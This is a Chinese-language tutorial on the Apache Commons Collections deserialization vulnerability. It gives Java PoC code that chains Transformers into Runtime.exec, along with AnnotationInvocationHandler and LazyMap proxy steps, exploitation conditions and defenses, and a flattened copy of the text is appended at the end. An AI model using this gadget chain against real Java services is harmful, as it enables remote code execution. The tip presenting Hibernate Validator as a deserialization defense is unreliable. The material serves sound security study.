从CommonsCollections中各Transformer的了解到Proof of Concept的编写教程全过程
字数 1486 2025-08-11 08:36:33

Apache Commons Collections反序列化漏洞分析与POC编写教程

一、环境搭建

JDK7环境配置

  1. 下载JDK7

    • 从Oracle官网下载对应版本的JDK7(注意系统位数匹配)
    • 32位/64位系统需要下载对应的版本
  2. 安装步骤

    sudo mkdir -p /usr/local/java
    sudo cp -r jdk-7u80-linux-x64.tar.gz /usr/local/java
    sudo tar xvzf jdk-7u80-linux-x64.tar.gz
    
  3. 配置环境变量

    sudo vim ~/.bashrc
    

    添加以下内容:

    JAVA_HOME=/usr/local/java/jdk1.7.0_80
    JRE_HOME=/usr/local/java/jdk1.7.0_80
    PATH=$PATH:$JRE_HOME/bin:$JAVA_HOME/bin
    export JAVA_HOME
    export JRE_HOME
    export PATH
    
  4. 更新alternatives

    sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.7.0_80/bin/java" 1
    sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.7.0_80/bin/javac" 1
    sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.7.0_80/bin/javaws" 1
    sudo update-alternatives --set java /usr/local/java/jdk1.7.0_80/bin/java
    sudo update-alternatives --set javac /usr/local/java/jdk1.7.0_80/bin/javac
    sudo update-alternatives --set javaws /usr/local/java/jdk1.7.0_80/bin/javaws
    
  5. 验证安装

    source ~/.bashrc
    java -version
    

二、漏洞原理分析

关键类与接口

  1. Transformer接口

    • 核心接口,只有一个方法:
      Object transform(Object input)
      
  2. TransformedMap

    • 修饰标准Map数据结构
    • 构造方法:
      Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
      
    • keyTransformer: 处理新元素Key的回调
    • valueTransformer: 处理新元素Value的回调
  3. ConstantTransformer

    • 实现Transformer接口
    • 包装任意对象,执行回调时返回该对象
    • 示例:
      public Object transform(Object input) {
          return iConstant;
      }
      
  4. InvokerTransformer

    • 实现Transformer接口,可执行任意方法
    • 构造参数:
      • 方法名
      • 参数类型数组
      • 参数值数组
    • 示例:
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      
  5. ChainedTransformer

    • 将多个Transformer串联执行
    • 示例:
      new ChainedTransformer(transformers)
      

漏洞触发流程

  1. 使用ConstantTransformer包装Runtime.getRuntime()
  2. 使用InvokerTransformer调用exec方法执行命令
  3. 通过ChainedTransformer串联Transformer
  4. 使用TransformedMap.decorate修饰Map
  5. 向Map中添加元素触发漏洞

三、POC编写

基础POC示例

package pers.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) {
        Transformer[] transformers = {
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxx");
    }
}

实际利用POC

  1. 使用AnnotationInvocationHandler

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    Object obj = construct.newInstance(Retention.class, outMap);
    
  2. 解决Runtime序列化问题

    // 使用反射获取Runtime,避免序列化问题
    Method method = Runtime.class.getMethod("getRuntime");
    Runtime res = (Runtime) method.invoke(null);
    res.exec("calc");
    
  3. 完整利用链

    • 需要Java 8u71之前的版本
    • 使用Retention.class并put一个value为键的键值对

ysoserial实现差异

  1. 使用LazyMap而非TransformedMap

    • TransformedMap: 写入元素时执行transform
    • LazyMap: get元素时执行transform
  2. 代理机制

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
    

四、漏洞利用条件

  1. 环境要求

    • Java版本: 8u71之前
    • 依赖库: Apache Commons Collections
  2. 利用链分析

    • 通过AnnotationInvocationHandlerreadObject方法触发
    • 需要var12不为null才会触发漏洞
  3. Payload生成流程

    • 使用InvokerTransformer和反射获取Runtime.getRuntime().exec
    • 创建HashMap存储元素
    • 通过Gadgets#createMemoitizedProxy创建代理
    • 使用Reflections#getFirstCtor获取AnnotationInvocationHandler构造方法
    • 最终实现序列化

五、防御措施

  1. 升级Java版本

    • 升级至Java 8u71及以上版本
  2. 升级Commons Collections

    • 使用最新版本的Apache Commons Collections
  3. 输入验证

    • 对反序列化数据进行严格验证
  4. 使用安全框架

    • 如Hibernate Validator等

六、总结

本教程详细分析了Apache Commons Collections反序列化漏洞的原理、利用方式及POC编写方法。关键在于理解Transformer链的构造方式和如何通过Java反序列化机制触发漏洞。实际利用时需要注意Java版本限制和依赖库版本,同时也要了解防御措施以保护系统安全。

Apache Commons Collections反序列化漏洞分析与POC编写教程 一、环境搭建 JDK7环境配置 下载JDK7 从Oracle官网下载对应版本的JDK7(注意系统位数匹配) 32位/64位系统需要下载对应的版本 安装步骤 配置环境变量 添加以下内容: 更新alternatives 验证安装 二、漏洞原理分析 关键类与接口 Transformer接口 核心接口,只有一个方法: TransformedMap 修饰标准Map数据结构 构造方法: keyTransformer: 处理新元素Key的回调 valueTransformer: 处理新元素Value的回调 ConstantTransformer 实现Transformer接口 包装任意对象,执行回调时返回该对象 示例: InvokerTransformer 实现Transformer接口,可执行任意方法 构造参数: 方法名 参数类型数组 参数值数组 示例: ChainedTransformer 将多个Transformer串联执行 示例: 漏洞触发流程 使用 ConstantTransformer 包装 Runtime.getRuntime() 使用 InvokerTransformer 调用 exec 方法执行命令 通过 ChainedTransformer 串联Transformer 使用 TransformedMap.decorate 修饰Map 向Map中添加元素触发漏洞 三、POC编写 基础POC示例 实际利用POC 使用AnnotationInvocationHandler 解决Runtime序列化问题 完整利用链 需要Java 8u71之前的版本 使用 Retention.class 并put一个value为键的键值对 ysoserial实现差异 使用LazyMap而非TransformedMap TransformedMap : 写入元素时执行transform LazyMap : get元素时执行transform 代理机制 四、漏洞利用条件 环境要求 Java版本: 8u71之前 依赖库: Apache Commons Collections 利用链分析 通过 AnnotationInvocationHandler 的 readObject 方法触发 需要 var12 不为null才会触发漏洞 Payload生成流程 使用 InvokerTransformer 和反射获取 Runtime.getRuntime().exec 创建HashMap存储元素 通过 Gadgets#createMemoitizedProxy 创建代理 使用 Reflections#getFirstCtor 获取 AnnotationInvocationHandler 构造方法 最终实现序列化 五、防御措施 升级Java版本 升级至Java 8u71及以上版本 升级Commons Collections 使用最新版本的Apache Commons Collections 输入验证 对反序列化数据进行严格验证 使用安全框架 如Hibernate Validator等 六、总结 本教程详细分析了Apache Commons Collections反序列化漏洞的原理、利用方式及POC编写方法。关键在于理解Transformer链的构造方式和如何通过Java反序列化机制触发漏洞。实际利用时需要注意Java版本限制和依赖库版本,同时也要了解防御措施以保护系统安全。